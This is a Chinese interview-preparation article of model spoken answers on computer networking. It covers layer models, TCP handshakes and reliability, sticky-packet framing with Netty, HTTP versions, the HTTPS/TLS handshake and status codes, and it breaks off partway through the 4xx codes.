口语八股——计算机网络篇(终篇)

📌 一、网络分层模型篇(热身题,必须秒答)

1.1 OSI七层模型和TCP/IP四层模型分别是什么?有什么区别?

✅ 正确回答思路:

这道题我分两部分回答,先说两个模型分别是什么,再说区别:

OSI七层模型(从上到下):

复制代码
第7层  应用层     (Application)   ------ HTTP、FTP、SMTP、DNS
第6层  表示层     (Presentation)  ------ 数据编码、加密、压缩
第5层  会话层     (Session)       ------ 建立/维护/终止会话
第4层  传输层     (Transport)     ------ TCP、UDP(端对端传输)
第3层  网络层     (Network)       ------ IP、路由选择(主机到主机)
第2层  数据链路层 (Data Link)     ------ MAC地址、以太网帧
第1层  物理层     (Physical)      ------ 比特流、网线、光纤

TCP/IP四层模型(从上到下):

复制代码
第4层  应用层     ------ 对应OSI的应用层+表示层+会话层
第3层  传输层     ------ 对应OSI的传输层(TCP/UDP)
第2层  网络层     ------ 对应OSI的网络层(IP协议)
第1层  网络接口层 ------ 对应OSI的数据链路层+物理层

两者的主要区别:

我用口语来说:OSI是"理论派",TCP/IP是"实践派"。

  1. 层数不同:OSI七层,TCP/IP四层(有时候说五层,把网络接口层拆成数据链路层+物理层)。
  2. OSI是理想模型:1984年ISO制定,想得很完美,把功能划分得很细,但太学术化了,真实网络协议不完全按这个走。
  3. TCP/IP是现实标准:互联网真正在用的,设计时更注重实用,是"先实践后标准化"的产物。
  4. 应用范围:TCP/IP就是今天整个互联网的基础;OSI主要用来学习和理解网络分层思想。

📌 面试官常问的追问: "你知道HTTP在哪一层吗?"

答:HTTP是应用层协议,基于TCP传输层协议。完整的访问一个网页,各层分工是这样的:

复制代码
你在浏览器输入 http://www.baidu.com
→ 应用层:HTTP协议,构造GET请求报文
→ 传输层:TCP协议,三次握手,把报文分段
→ 网络层:IP协议,决定路由,给数据包加IP头
→ 数据链路层:MAC地址,封装成帧
→ 物理层:转成电信号/光信号发出去

💡 记忆口诀: "应表会传网数物"(应用、表示、会话、传输、网络、数据链路、物理)


1.2 TCP和UDP的区别是什么?各自适合什么场景?

✅ 正确回答思路:

这两个协议都在传输层,我从6个维度对比,然后说应用场景:

一、核心区别对比表:

对比项 TCP UDP
连接方式 面向连接(三次握手建立连接) 无连接(直接发送)
可靠性 可靠传输(确认、重传、排序) 不可靠(发了就不管了)
速度 慢(各种机制有开销) 快(没有额外开销)
传输单位 字节流(无边界) 数据报(有边界)
拥塞控制 有(滑动窗口、慢启动)
头部大小 20-60字节 8字节(固定)
应用场景 HTTP/HTTPS、FTP、邮件 DNS、视频直播、游戏

二、深入解释几个重点:

为什么TCP可靠但UDP不可靠?

TCP通过三个机制保证可靠性:

  • 确认机制:接收方收到数据后要发ACK确认,发送方没收到ACK就重传
  • 序号机制:数据包带序号,接收方按序号重组,乱序包会排队等待
  • 校验和:检测数据在传输过程中是否损坏

UDP完全没有这些,发送方把数据扔出去就不管了,对方收没收到、收到的顺序对不对,都不管。

为什么说TCP是字节流,UDP是数据报?

  • TCP字节流:就像水管里流水,你发100字节,接收方可能一次收50字节,再收50字节,没有边界感。这就是为什么我们在Java用TCP通信时要自己处理粘包拆包问题。
  • UDP数据报:就像快递包裹,你发一个包裹,对方收到的就是完整的那个包裹,有天然的边界感。

三、应用场景:

用TCP的场景(可靠性优先):

  • HTTP/HTTPS:网页请求,数据必须完整
  • 文件传输FTP:文件丢了一点就完了
  • 邮件SMTP:邮件内容必须完整
  • 数据库连接:MySQL、Redis的TCP连接

用UDP的场景(速度优先):

  • DNS查询:一问一答,简单快速,查个IP地址用TCP太重了
  • 视频直播/视频会议:丢几帧没关系,但不能卡顿。Zoom、微信视频通话都是基于UDP或者在UDP上构建的RTP协议
  • 在线游戏:实时性最重要,丢包影响不大,延迟高才是问题
  • 广播/组播:UDP支持一对多发送,TCP不行

四、实际Java项目经验:

我在项目中:

  • Spring Boot的HTTP接口默认用TCP(底层Tomcat)
  • 我们有个实时游戏功能,用了Netty + UDP,延迟从200ms降到50ms
  • DNS解析用UDP,所以有时候DNS查询失败了,应用会重试

💡 加分项: "现在有个叫QUIC的新协议,Google搞的,它基于UDP实现了TCP的可靠性,还解决了TCP的队头阻塞问题。HTTP/3就是基于QUIC的。这是未来的趋势。"


📌 二、TCP深度篇(重中之重!)

2.1 TCP三次握手的过程是什么?为什么是三次而不是两次或四次?

✅ 正确回答思路:

TCP三次握手是面试必考中的必考,不仅要能说清楚过程,还要答出"为什么是三次"这个深层原因。

一、三次握手的完整过程:

我用一个现实场景来类比,然后说技术细节:

类比:就像你打电话给朋友:

  • 你:"喂,能听到吗?"(第一次)
  • 朋友:"能听到,你能听到我说话吗?"(第二次)
  • 你:"能听到,开始说正事吧!"(第三次)

技术过程(三个报文段):

复制代码
客户端                               服务端
  |                                    |
  |  ①  SYN=1, seq=x               |
  | ---------------------------------> |  服务端进入 SYN_RCVD 状态
  |                                    |
  |  ②  SYN=1, ACK=1, seq=y, ack=x+1  |
  | <--------------------------------- |
  | 客户端进入 ESTABLISHED 状态         |
  |                                    |
  |  ③  ACK=1, seq=x+1, ack=y+1    |
  | ---------------------------------> |  服务端进入 ESTABLISHED 状态
  |                                    |
  |          连接建立完成!             |

详细说每一步:

第一次握手(客户端 → 服务端):

  • 客户端发送一个SYN包(SYN=1),携带随机序号seq=x(ISN,初始序列号)
  • 客户端进入SYN-SENT状态
  • 含义:"我想和你建立连接,我的初始序号是x"

第二次握手(服务端 → 客户端):

  • 服务端收到SYN后,回复SYN+ACK包(SYN=1,ACK=1)
  • 携带自己的序号seq=y,以及对客户端的确认ack=x+1(期望收到客户端的x+1号数据)
  • 服务端进入SYN-RCVD状态
  • 含义:"收到了,同意建立连接,我的初始序号是y,你下次从x+1开始发"

第三次握手(客户端 → 服务端):

  • 客户端发送ACK包(ACK=1),ack=y+1
  • 客户端进入ESTABLISHED状态,服务端收到后也进入ESTABLISHED状态
  • 含义:"收到了,连接建立!"

注意:第三次握手可以携带数据(比如HTTP请求),但前两次不能携带数据(因为连接还没建立)。

二、为什么是三次握手,不是两次?

如果是两次握手,会有什么问题?

想象这个场景:

复制代码
情景:网络拥堵,客户端发的第一个SYN包延迟了很久才到服务端

① 客户端发SYN(但这个包网络延迟了,很久以后才到)
② 客户端等不到回复,超时重传,发第二个SYN
③ 服务端收到第二个SYN,回复SYN-ACK,连接建立,完成通信,关闭连接
④ 过了很久,服务端收到了第一个SYN(过期的旧连接请求)
   ------如果是两次握手------
⑤ 服务端回复SYN-ACK,以为连接建立了,等待客户端发数据
⑥ 但客户端早就关了,根本不理服务端
⑦ 服务端一直维护着这个"幽灵连接",白白浪费资源!

两次握手的核心问题:服务端无法判断收到的SYN是新的请求还是历史的过期请求,容易建立无效连接浪费资源。

三次握手的好处:第三次ACK让服务端确认"客户端确实是现在想建连接的",避免了过期SYN包的干扰。

总结:三次握手的三个目的:

  1. 双方确认自己和对方都有发送和接收能力(这是大家常说的,但不是主要原因)
  2. 同步双方的初始序号(ISN),保证数据有序传输
  3. 防止旧的重复连接请求初始化新连接(这是最主要的原因!)

三、为什么不是四次握手?

四次其实也可以,只是没必要。三次已经能满足所有需求了------双方都确认了对方能收发数据,也同步了序号。四次只会增加开销,三次刚好够用。

💡 面试加分项:

"其实我觉得三次握手的本质是:TCP连接需要双方各自发送一个SYN+对方回一个ACK,一共四次,但第二次握手把'服务端的ACK'和'服务端的SYN'合并成一个包发送了,所以变成了三次。这样理解会更清楚。"


2.2 TCP四次挥手的过程是什么?为什么要四次?TIME_WAIT状态是什么?

✅ 正确回答思路:

四次挥手是TCP断开连接的过程,比三次握手稍微复杂一点,关键是要理解为什么需要四次以及TIME_WAIT的作用。

一、四次挥手的完整过程:

类比:这次用"分手"来类比:

  • 你:"我没什么话说了,我想结束了。"(第一次FIN)
  • 对方:"好,我知道了,但我还有话说..."(第二次ACK)
  • 对方说完了:"好了,我也说完了。"(第三次FIN)
  • 你:"知道了,再见。"(第四次ACK)

技术过程:

复制代码
客户端(主动关闭方)                    服务端(被动关闭方)
  |                                        |
  |  ①  FIN=1, seq=u                   |
  | ------------------------------------> |
  | 客户端进入 FIN_WAIT_1                 | 服务端进入 CLOSE_WAIT
  |                                        |
  |  ②  ACK=1, ack=u+1                 |
  | <------------------------------------ |
  | 客户端进入 FIN_WAIT_2                 |(服务端可能还有数据要发)
  |                                        |
  |          [服务端处理剩余数据...]        |
  |                                        |
  |  ③  FIN=1, seq=v, ACK=1, ack=u+1  |
  | <------------------------------------ |
  |                                        | 服务端进入 LAST_ACK
  |  ④  ACK=1, ack=v+1                 |
  | ------------------------------------> |
  | 客户端进入 TIME_WAIT(等2MSL)          | 服务端进入 CLOSED
  |                                        |
  | [等待2MSL后]                           |
  | 客户端进入 CLOSED                      |

详细说每一步:

第一次挥手(客户端 → 服务端):

  • 客户端发FIN包,表示"我不发数据了"
  • 客户端进入FIN_WAIT_1状态
  • 但客户端还能接收数据!(半关闭状态)

第二次挥手(服务端 → 客户端):

  • 服务端收到FIN,立即回ACK
  • 服务端进入CLOSE_WAIT状态,客户端进入FIN_WAIT_2状态
  • 注意:服务端这时候可能还有数据没发完,所以先只是ACK,还没发FIN

第三次挥手(服务端 → 客户端):

  • 服务端把剩余数据发完后,发FIN包,表示"我也不发了"
  • 服务端进入LAST_ACK状态

第四次挥手(客户端 → 服务端):

  • 客户端回ACK,进入TIME_WAIT状态
  • 服务端收到ACK,进入CLOSED状态
  • 客户端等待2MSL后,进入CLOSED状态

二、为什么是四次挥手而不是三次?

这是面试常问的!关键原因是:

三次握手的第二次可以把SYN和ACK合并在一个包里发,因为服务端收到SYN时,它也想同时发自己的SYN,所以可以一起发。

但四次挥手的第二次和第三次不能合并,原因是:

服务端收到客户端FIN时,内核协议栈会立即 回ACK("我收到你的关闭请求了"),但不能立即 发FIN,因为服务端应用层可能还有数据没处理完、没发送完。只有等服务端应用调用close(),内核才会发FIN。这两件事时间上完全不同步,所以必须分开发送,一共四次。

用大白话说:分手的时候,你说"我不想说了",对方可以立刻回"我知道了",但对方可能还有话没说完,要等说完了才能说"我也不说了"------这中间有个时间差,所以多了一次。

三次握手时服务端的ACK和SYN可以合并,是因为服务端收到客户端的SYN时,自己也立刻想建连接,两件事同时发生;而四次挥手时,"回ACK"和"发FIN"不是同时发生的,所以不能合并。

三、TIME_WAIT状态是什么?为什么要等2MSL?

TIME_WAIT是主动关闭方(客户端)在发完最后一个ACK后进入的等待状态,要等2MSL时间才真正关闭。

MSL(Maximum Segment Lifetime):报文最大生存时间,Linux中一般是60秒,所以2MSL = 120秒。

为什么要等2MSL?有两个原因:

原因1:确保最后一个ACK能到达服务端

复制代码
场景:客户端发出第四次挥手的ACK后,这个ACK在网络中丢失了
→ 服务端没收到ACK,超时重传FIN
→ 如果客户端已经CLOSED了,收到重传的FIN不知道怎么处理
→ 服务端就永远关不掉了!

有了TIME_WAIT:
→ 客户端等2MSL,期间收到了服务端重传的FIN
→ 客户端重新发ACK
→ 服务端正常关闭

原因2:防止旧连接的数据包影响新连接

复制代码
如果马上关闭,相同四元组(src_ip, src_port, dst_ip, dst_port)的新连接可能收到上一个连接的延迟数据包,造成数据混乱。

等2MSL可以确保网络中所有属于本次连接的数据包都消亡了,再用这个四元组建新连接就是干净的。

四、TIME_WAIT的危害和解决方案(面试加分题!)

危害

  • 服务器端口或文件描述符耗尽
  • 高并发短连接场景(比如大量HTTP短连接),TIME_WAIT会堆积几万个,占用大量内存

实际Java项目中的体现 : 我们的SpringBoot应用曾经出现过服务端netstat -ant | grep TIME_WAIT | wc -l显示几万个TIME_WAIT,导致端口耗尽,新连接建立失败。

解决方案(Linux内核参数):

bash 复制代码
# 开启TCP连接复用(TIME_WAIT状态下的连接可以被新连接复用)
net.ipv4.tcp_tw_reuse = 1

# 快速回收TIME_WAIT(生产环境慎用!)
net.ipv4.tcp_tw_recycle = 1  # Linux 4.12后已删除

# 增大本地端口范围
net.ipv4.ip_local_port_range = 1024 65535

# 开启keepalive,更快发现死连接
net.ipv4.tcp_keepalive_time = 60

应用层解决:用HTTP长连接(Keep-Alive),或者连接池(HikariCP、Redis连接池),减少连接的频繁创建和销毁。

💡 总结记忆:

  • 四次挥手是因为"回ACK"和"发FIN"不同步,必须分开
  • TIME_WAIT等2MSL:确保最后ACK到达 + 让旧连接数据包消亡
  • 高并发场景要注意TIME_WAIT堆积问题

2.3 TCP如何保证可靠传输?(重要!)

✅ 正确回答思路:

TCP保证可靠传输靠的是一套组合拳,我从五个机制来说:

一、序号与确认应答(最核心)

每个TCP数据段都带有序号(Sequence Number),接收方收到后发**确认号(ACK)**告诉发送方"我收到序号X以前的数据了,下次从X开始发"。

复制代码
发送方: 发送 seq=1-100 的数据
接收方: 回复 ack=101(期望下次收到101开始的数据)
发送方: 发送 seq=101-200 的数据
接收方: 回复 ack=201
...

作用:解决丢包问题(没收到ACK就重传),解决乱序问题(按序号重组)。

二、超时重传

发送方发出数据后,启动计时器,如果超时还没收到ACK就重传。

重传时间(RTO)是动态调整的:根据网络往返时延(RTT)计算,网络好时RTO小,网络差时RTO大。

java 复制代码
// 伪代码:超时重传
sendData(seq=1, data);
timer.start(RTO);  // 启动超时计时器

if (timeout && no ACK) {
    resend(seq=1, data);  // 超时重传
    RTO = RTO * 2;  // 指数退避,避免网络更拥堵
}

三、流量控制(滑动窗口)

问题:发送方发得太快,接收方来不及处理,缓冲区溢出,数据丢失。

解决 :接收方在ACK报文中带上接收窗口大小(rwnd),告诉发送方"我的缓冲区还剩多少",发送方不能超过这个量。

复制代码
接收方缓冲区满了: ack中带 rwnd=0(发送方停止发送)
接收方缓冲区空了: 发送方收到rwnd>0的ACK,继续发

滑动窗口机制:发送方不用每发一个包就等一个ACK,而是可以连续发送多个包,然后等ACK。

复制代码
窗口大小=3,发送方可以连续发3个包:
发送: [1][2][3] → 等待ACK
收到ack=2: 窗口向右滑动,继续发[4]
收到ack=3: 继续发[5]
收到ack=4: 继续发[6]
...

四、拥塞控制

问题:网络中路由器缓存满了,丢包。如果所有发送方都不管网络状况拼命发,网络会彻底崩溃(拥塞崩溃)。

解决:TCP会主动探测网络状况,根据丢包情况动态调整发送速率。

四个核心算法:

1. 慢启动(Slow Start)

复制代码
初始: 拥塞窗口 cwnd=1MSS(最大报文段)
每收到一个ACK: cwnd加倍
1→2→4→8→16...(指数增长)
直到cwnd超过慢启动阈值ssthresh,进入拥塞避免

2. 拥塞避免(Congestion Avoidance)

复制代码
cwnd超过ssthresh后:
每收到一个RTT的ACK: cwnd加1(线性增长,更保守)
16→17→18→19...

3. 快速重传(Fast Retransmit)

复制代码
如果连续收到3个重复ACK(说明某个包丢了):
立即重传,不等超时

4. 快速恢复(Fast Recovery)

复制代码
快速重传后:
ssthresh = cwnd/2
cwnd = ssthresh(不像超时那样降到1)
继续拥塞避免

丢包时的两种处理:

  • 超时丢包(严重):ssthresh=cwnd/2,cwnd=1,重新慢启动
  • 3个重复ACK(较轻):快速重传+快速恢复,cwnd降到ssthresh

五、连接管理

通过三次握手建立连接、四次挥手断开连接,确保通信双方处于已知状态。

六、总结图:

复制代码
TCP可靠传输 = 
  序号+确认应答    → 知道什么收到了,什么没收到
+ 超时重传        → 丢了的包重新发
+ 流量控制        → 别把接收方撑爆
+ 拥塞控制        → 别把网络撑爆
+ 校验和          → 检测数据是否损坏

💡 面试加分: "Java的Socket编程底层就是TCP,所以你用Java写Netty服务,底层的可靠传输是TCP帮你保证的,你不用自己写重传逻辑。但UDP就不一样了,Netty用UDP时,你要自己处理丢包重传,这就是为什么RTP、KCP这些协议要在UDP上实现可靠传输。"


2.4 TCP的粘包和拆包问题是什么?怎么解决?

✅ 正确回答思路:

这是Java后端用Netty或者自定义TCP通信时很常见的问题,一定要能讲清楚!

一、什么是粘包和拆包?

先明确:粘包拆包是TCP字节流特性带来的问题,UDP没有这个问题!

TCP是字节流协议:数据是连续的字节流,没有天然的"消息边界"。

粘包:发送方发了两个独立的消息,接收方却一次性全收到了,分不清哪里是第一条消息的结尾。

复制代码
发送方发: [消息A][消息B]
接收方收: [消息A消息B]  ← 粘在一起了,不知道在哪里分开

拆包:发送方发了一个消息,接收方分两次才收完,不知道这是同一条消息。

复制代码
发送方发: [消息A]
接收方第一次收: [消息A的前半段]
接收方第二次收: [消息A的后半段]  ← 如何知道这是同一条消息?

为什么会粘包?

  • TCP有Nagle算法:为了减少小包发送,会把多个小数据包合并成一个大包再发送
  • 发送方发送速度 > 接收方处理速度,接收缓冲区积压了多个消息

为什么会拆包?

  • 发送的消息太大,超过了MSS(最大报文段大小),TCP会把它分成多个报文段发送
  • 发送的消息超过了MTU(最大传输单元,1500字节),IP层会分片

注脚 :"粘包"和"拆包"是中国开发者社区的俗称,TCP 协议标准文档中并没有这两个词,官方说法是 TCP 是**基于流(Stream-based)**的,没有边界。面试时如果遇到"海归"或"学术派"面试官,最好加上这句话,显得你既懂工程黑话,也懂学术标准。

二、解决方案(三种主流方式):

方案1:固定长度消息

java 复制代码
// 发送方:每条消息固定100字节,不够的补0
byte[] message = new byte[100];
// ...填充数据
socket.getOutputStream().write(message);

// 接收方:每次读取固定100字节
byte[] buf = new byte[100];
socket.getInputStream().read(buf);

缺点:浪费空间(消息可能比100字节小很多);不灵活(不能发可变长消息)。

方案2:特殊分隔符

java 复制代码
// 发送方:消息后面加\n作为分隔符
String message = "Hello World\n";
socket.getOutputStream().write(message.getBytes());

// 接收方:遇到\n就认为是一条消息的结尾
BufferedReader reader = new BufferedReader(
    new InputStreamReader(socket.getInputStream())
);
String line = reader.readLine();  // 读到\n为止

缺点:消息内容里不能包含分隔符;需要扫描整个数据寻找分隔符,效率稍低。

方案3:消息头+消息体(最推荐!)

复制代码
+---------+-------------+
| 4字节长度 |  消息内容   |
+---------+-------------+
   Header    Body
// 发送方:先发4字节长度,再发内容
public void send(byte[] data) throws IOException {
    DataOutputStream out = new DataOutputStream(socket.getOutputStream());
    out.writeInt(data.length);  // 先写4字节长度
    out.write(data);             // 再写内容
}

// 接收方:先读4字节得到长度,再按长度读内容
public byte[] receive() throws IOException {
    DataInputStream in = new DataInputStream(socket.getInputStream());
    int length = in.readInt();  // 读4字节得到消息长度
    byte[] data = new byte[length];
    in.readFully(data);         // 按长度读取完整消息
    return data;
}

三、Netty中的解决方案:

Netty内置了几个专门处理粘包拆包的解码器:

java 复制代码
// 1. 固定长度解码器
pipeline.addLast(new FixedLengthFrameDecoder(100));

// 2. 行分隔符解码器
pipeline.addLast(new LineBasedFrameDecoder(1024));

// 3. 分隔符解码器(自定义分隔符)
ByteBuf delimiter = Unpooled.copiedBuffer("$_".getBytes());
pipeline.addLast(new DelimiterBasedFrameDecoder(1024, delimiter));

// 4. 基于长度字段的解码器(最常用!)
// lengthFieldOffset=0: 长度字段在最开头
// lengthFieldLength=4: 长度字段占4字节
// lengthAdjustment=0: 长度值不需要调整
// initialBytesToStrip=4: 解码后去掉前4字节(长度字段)
pipeline.addLast(new LengthFieldBasedFrameDecoder(Integer.MAX_VALUE, 0, 4, 0, 4));

四、实际项目经验:

我们有个内部服务用了Netty做TCP通信,一开始没处理粘包,经常出现解析JSON报错。

后来用了LengthFieldBasedFrameDecoder,完美解决问题:

java 复制代码
// 自定义协议:4字节长度 + JSON内容
ServerBootstrap bootstrap = new ServerBootstrap();
bootstrap.childHandler(new ChannelInitializer<SocketChannel>() {
    @Override
    protected void initChannel(SocketChannel ch) {
        ChannelPipeline pipeline = ch.pipeline();
        // 拆包解码器
        pipeline.addLast(new LengthFieldBasedFrameDecoder(Integer.MAX_VALUE, 0, 4, 0, 4));
        // 编码器(发送时加长度头)
        pipeline.addLast(new LengthFieldPrepender(4));
        // 业务处理
        pipeline.addLast(new BusinessHandler());
    }
});

💡 记忆口诀: "粘包拆包TCP特有,固定长度/分隔符/长度头三种解法,Netty用LengthFieldBasedFrameDecoder最香"


📌 三、HTTP协议篇(高频!)

3.1 HTTP/1.0、HTTP/1.1、HTTP/2、HTTP/3的区别是什么?

✅ 正确回答思路:

HTTP协议的演进是面试高频题,我按版本顺序说清楚每次升级解决了什么问题:

一、HTTP/1.0(1996年)

复制代码
特点:
- 短连接:每个请求/响应后都关闭TCP连接
- 串行处理:一个连接同时只能处理一个请求

问题:访问一个网页,里面有10张图、10个CSS、10个JS,就要建立30次TCP连接!每次建连都要三次握手,性能很差。

二、HTTP/1.1(1997年,目前最广泛)

改进1:持久连接(Keep-Alive)

复制代码
HTTP/1.0: 请求 → 响应 → 关闭连接 → 新建连接 → 请求 → 响应 → 关闭连接
HTTP/1.1: 请求 → 响应 → 请求 → 响应 → 请求 → 响应 → 关闭连接(复用同一个TCP连接!)

默认开启Keep-Alive,多个请求可以复用同一个TCP连接,减少握手开销。

改进2:管道化(Pipelining)

客户端可以连续发送多个请求,不用等前一个响应回来。但响应必须按请求顺序返回。

仍然存在的问题:队头阻塞(Head-of-Line Blocking)!

复制代码
请求1(慢)、请求2(快)、请求3(快)同时发送
→ 必须等请求1的响应回来,才能处理请求2和3的响应
→ 请求2和3被"卡住"了

改进3:Host头部

支持虚拟主机,同一个IP可以部署多个网站。

http 复制代码
GET /index.html HTTP/1.1
Host: www.baidu.com

三、HTTP/2(2015年,越来越普及)

HTTP/2是对HTTP/1.1的重大升级,核心改进:

改进1:二进制分帧(Binary Framing)

HTTP/1.1是文本协议(你能直接看懂请求报文),HTTP/2改成了二进制协议,把数据拆成帧(Frame),效率更高,解析更快。

改进2:多路复用(Multiplexing)------解决队头阻塞!

复制代码
HTTP/1.1: 同一连接上,请求/响应必须串行
HTTP/2:   同一连接上,多个请求/响应交叉传输,互不干扰

比如:
请求1的帧: [1-1][1-2][1-3]...
请求2的帧: [2-1][2-2][2-3]...
在网络上交叉传输: [1-1][2-1][1-2][2-2][1-3][2-3]
接收方根据Stream ID重组,互不影响!

这就解决了HTTP层的队头阻塞问题(但TCP层的队头阻塞还在,后面HTTP/3解决)。

改进3:Header压缩(HPACK算法)

HTTP请求头很多字段都是重复的(User-Agent、Cookie每次都带),HTTP/2用HPACK算法压缩头部,减少传输量。

改进4:服务器推送(Server Push)

复制代码
客户端请求 index.html
服务端主动推送: index.html + style.css + app.js(因为服务端知道你需要这些)
客户端不用再发三个请求!

四、HTTP/3(2022年正式标准,基于QUIC)

更新描述:HTTP/3 在大厂(Google, Facebook, 抖音/字节跳动)的流量占比已经非常高了。特别是在弱网环境(移动端 4G/5G 切换)下,QUIC 的**连接迁移(Connection Migration)**特性是核心杀手锏。

补充技术点 :HTTP/2 的头部压缩是 HPACK,而 HTTP/3 为了适配 UDP 的乱序传输,改用了 QPACK。这是一个很细但很能体现深度的知识点。

HTTP/2还有什么问题?

HTTP/2虽然解决了应用层的队头阻塞,但底层还是用TCP!

TCP队头阻塞:TCP中如果一个数据包丢失,后面所有数据都要等这个包重传,即使它们属于不同的HTTP请求流。

HTTP/3的解决方案:把TCP换掉,改用QUIC(基于UDP)!

复制代码
HTTP/3特点:
- 基于QUIC协议(User Datagram Protocol实现的可靠传输)
- 彻底解决TCP的队头阻塞
- 连接建立更快(0-RTT或1-RTT,而TCP握手是1-RTT,加TLS是2-RTT)
- 连接迁移:切换网络(WiFi→4G)不用重新建连

QUIC为什么基于UDP但又可靠?

QUIC在UDP上自己实现了一套类似TCP的可靠传输机制(确认、重传、流控),但是独立管理每个流,一个流的丢包不影响其他流。

五、四个版本对比总结:

版本 发布年 核心改进 主要问题
HTTP/1.0 1996 基础功能 每次请求建新TCP连接
HTTP/1.1 1997 持久连接、管道化 队头阻塞(应用层)
HTTP/2 2015 二进制分帧、多路复用、头压缩 队头阻塞(TCP层)
HTTP/3 2022 基于QUIC/UDP,彻底解决队头阻塞 还在普及中

六、实际Java项目经验:

  • 我们的SpringBoot服务暴露HTTP接口,默认是HTTP/1.1
  • Nginx配置开启HTTP/2:
nginx 复制代码
server {
    listen 443 ssl http2;
    ssl_certificate /path/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;
    # ...
}
  • 用OkHttp客户端,它默认支持HTTP/2:
java 复制代码
OkHttpClient client = new OkHttpClient.Builder()
    .protocols(Arrays.asList(Protocol.HTTP_2, Protocol.HTTP_1_1))
    .build();

💡 记忆口诀:

  • 1.0:短连接,每次握手累
  • 1.1:长连接,但队头阻
  • 2.0:多路复,头压缩
  • 3.0:换UDP,QUIC跑

3.2 HTTP和HTTPS的区别?HTTPS的握手流程是什么?

✅ 正确回答思路:

HTTPS是面试必考,不但要说出区别,还要能说清楚TLS握手流程,这才能拿高分。

一、HTTP vs HTTPS 核心区别:

对比项 HTTP HTTPS
安全性 明文传输,不安全 加密传输,安全
默认端口 80 443
URL前缀 http:// https://
协议层 HTTP直接基于TCP HTTP基于TLS/SSL,TLS基于TCP
证书 不需要 需要CA签发的数字证书
速度 稍慢(握手有开销,但现代硬件影响很小)

二、HTTPS能防什么攻击?

  • 防窃听(机密性):数据加密,即使被截获也看不懂
  • 防篡改(完整性):消息认证码(MAC),检测数据是否被修改
  • 防伪装(身份认证):数字证书,确认你访问的是真的服务器

三、HTTPS握手流程(TLS 1.2)

HTTPS = HTTP + TLS,先建立TLS安全通道,再传HTTP数据。

TLS握手过程(面试最常问!):

复制代码
客户端                                          服务端
  |                                               |
  |  ① Client Hello                             |
  |  (支持的TLS版本、加密算法列表、随机数1)      |
  | --------------------------------------------> |
  |                                               |
  |  ② Server Hello                             |
  |  (选定的TLS版本、加密算法、随机数2)          |
  | <-------------------------------------------- |
  |                                               |
  |  ③ Certificate                              |
  |  (服务器证书[含公钥]、证书链)               |
  | <-------------------------------------------- |
  |                                               |
  |  ④ Server Hello Done                        |
  | <-------------------------------------------- |
  |                                               |
  |  [客户端验证证书]                            |
  |  [用CA公钥验证证书签名]                     |
  |  [确认证书未过期、域名匹配]                 |
  |                                               |
  |  ⑤ Client Key Exchange                      |
  |  (用服务端公钥加密的 Pre-Master Secret)     |
  | --------------------------------------------> |
  |                                               |
  |  [双方用 随机数1+随机数2+Pre-Master Secret]  |
  |  [生成相同的 Session Key(对称密钥)]        |
  |                                               |
  |  ⑥ Change Cipher Spec + Finished(客户端)    |
  | --------------------------------------------> |
  |                                               |
  |  ⑦ Change Cipher Spec + Finished(服务端)    |
  | <-------------------------------------------- |
  |                                               |
  |  ===== TLS握手完成,开始加密通信 =====       |
  |                                               |
  |  ⑧ HTTP请求(用Session Key加密)             |
  | --------------------------------------------> |

详细说明每一步:

① Client Hello:客户端告诉服务端:

  • 我支持哪些TLS版本(TLS 1.2、TLS 1.3)
  • 我支持哪些加密算法(cipher suites)
  • 我的随机数(用于后面生成密钥)

② Server Hello:服务端回复:

  • 选用哪个TLS版本
  • 从客户端支持的算法里选一个(比如RSA+AES256+SHA256)
  • 服务端的随机数

③ Certificate:服务端发送自己的数字证书(由CA签发的,包含服务端的公钥)

④ Server Hello Done:告诉客户端"我发完了"

⑤ Client Key Exchange:客户端:

  • 验证证书(用CA的公钥验证证书签名,看看证书是不是可信的CA签的)
  • 生成Pre-Master Secret(随机数)
  • 用服务端公钥加密Pre-Master Secret,发给服务端

此时只有服务端(有私钥)能解密Pre-Master Secret。

⑥⑦ 双方生成Session Key

  • 双方都有:随机数1 + 随机数2 + Pre-Master Secret
  • 用相同的算法计算出相同的Session Key(会话密钥,对称密钥)
  • 后续通信都用这个对称密钥加密

④ 什么是非对称加密+对称加密的组合?

  • 非对称加密(RSA等):用公钥加密,私钥解密。安全但慢。
  • 对称加密(AES等):加解密用同一个密钥。快但密钥交换有安全问题。

HTTPS的做法:用非对称加密安全地交换对称密钥,然后用对称密钥高效地加密数据传输。这是两者的完美结合!

四、TLS 1.3 vs TLS 1.2

TLS 1.3是目前最新的版本,主要改进:

  • 握手更快:从2-RTT降到1-RTT,甚至0-RTT(恢复连接时)
  • 更安全:废弃了很多老旧不安全的加密算法(RSA密钥交换、MD5、SHA-1等)
  • 前向安全(Forward Secrecy):即使私钥泄露,也不能解密之前的历史通信(强制使用DHE/ECDHE密钥交换)

五、实际项目经验:

在我们的SpringBoot项目中,配置HTTPS:

yaml 复制代码
# application.yml
server:
  port: 443
  ssl:
    enabled: true
    key-store: classpath:keystore.p12
    key-store-password: yourpassword
    key-store-type: PKCS12
    key-alias: tomcat

生产环境用Let's Encrypt免费证书 + Nginx做SSL卸载(把TLS握手放在Nginx层,后端服务只处理HTTP):

nginx 复制代码
upstream backend {
    server 127.0.0.1:8080;
}

server {
    listen 443 ssl http2;
    ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;
    ssl_protocols TLSv1.2 TLSv1.3;  # 只允许TLS 1.2和1.3
    
    location / {
        proxy_pass http://backend;
    }
}

# HTTP强制跳转HTTPS
server {
    listen 80;
    return 301 https://$host$request_uri;
}

💡 记忆口诀:

  • HTTPS = HTTP + TLS,多了加密认证
  • TLS握手:问好→发证书→交换密钥→对称加密通信
  • 非对称密钥交换 + 对称密钥加密 = 安全又高效

3.3 HTTP常见的状态码有哪些?各代表什么意思?

✅ 正确回答思路:

状态码按1xx-5xx分类记忆,我说常用的,不用全背:

1xx(信息性)------几乎不用关心

2xx(成功)

  • 200 OK:最常见,请求成功
  • 201 Created:资源创建成功(POST创建资源时返回)
  • 204 No Content:成功但没有响应体(DELETE成功时常用)

3xx(重定向)

  • 301 Moved Permanently:永久重定向,浏览器会缓存(URL永久变了用301)
  • 302 Found:临时重定向,浏览器不缓存(临时跳转用302)
  • 304 Not Modified:缓存有效,浏览器用本地缓存(协商缓存命中)
  • 307/308:类似302/301,但严格保持请求方法不变(不会把POST改成GET)

4xx(客户端错误)------客户端的锅

  • 400 Bad Request:请求格式错误(参数不对、JSON格式错)
  • 401 Unauthorized:未认证,需要登录(没带Token或Token无效)
  • 403 Forbidden:已认证但没权限(有Token但权限不够)
